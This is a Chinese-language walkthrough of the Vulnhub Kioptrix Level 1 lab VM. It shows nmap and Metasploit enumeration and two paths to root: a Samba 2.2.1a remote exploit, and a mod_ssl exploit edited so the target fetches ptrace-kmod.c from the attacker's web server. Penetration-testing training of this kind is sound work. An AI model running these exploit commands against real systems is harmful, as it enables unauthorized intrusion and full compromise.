Vulnhub靶机：Kioptrix_Level1

一、介绍

运行环境：Virtualbox和vmware

攻击机：kali（192.168.56.101）

靶机：Kioptrix_Level1（192.168.56.105）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

二、信息收集

使用nmap主机发现靶机ip：192.168.56.105

使用nmap端口扫描发现靶机开放端口：22、80、111、139、443、1024

nmap -A 192.168.56.105 -p 1-65535

打开网站未发现可利用的功能点和隐藏信息

根据nmap的扫描结果发现开放了139端口，smb服务，利用nmap脚本扫描139端口，发现靶机存在cve-2009-3103漏洞

nmap 192.168.56.105 -p 139 --script smb*

在网上找了很多exp，发现都利用不了

使用msf探测一下smb服务的版本信息，为samba 2.2.1a

msfconsole
search smb_version
use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.56.105
run

三、漏洞利用

使用searchsploit搜索该版本的samba的历史漏洞，发现命令执行漏洞，将exp导出

searchsploit samba 2.2.1a

编译，根据脚本的注释执行脚本

gcc 10.c -o 10
./10 -b 0 -v 192.168.56.105

获得root权限

还有一个方法是利用Apache mod_ssl漏洞

根据nmap的扫描结果80端口安装Apache/1.3.20 mod_ssl/2.8.4

使用searchsploit搜索mod_ssl的历史漏洞

searchsploit mod_ssl

发现三个对应版本的exp，我们挨个尝试，发现都报错

gcc -o 764 764.c -lcrypto

最后发现是exp的问题，我们下载最新的exp：https://www.exploit-db.com/exploits/47080

编译执行

根据靶机系统和apache的版本选择偏移量，构造命令

./exp 0x6b 192.168.56.105 -c 40

得到apache的权限的shell

理论上应该是root权限，发现在exp执行时，出现报错：找不到ptrace-kmod.c文件

在exp源码查找出现问题的地方，在309行，会在靶机执行命令下载ptrace-kmod.c文件，而我的靶机网络设置的是仅主机模式，下载不了

nl exp.c| grep ptrace

我们可以将ptrace-kmod.c文件下载到本地，然后在本地开一个web服务器，让靶机请求攻击机获取ptrace-kmod.c文件

cd /var/www/html 
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c 
service apache2 start

修改exp源码，将请求改为攻击机的ip

保存编译执行，得到root权限

参考链接：Vulnhub系列:Kioptix Level 1_vulnhub kioptix level 1-CSDN博客

KIOPTRIX: LEVEL 1 通关详解_kioptrix level 1 - 搜狗搜索-CSDN博客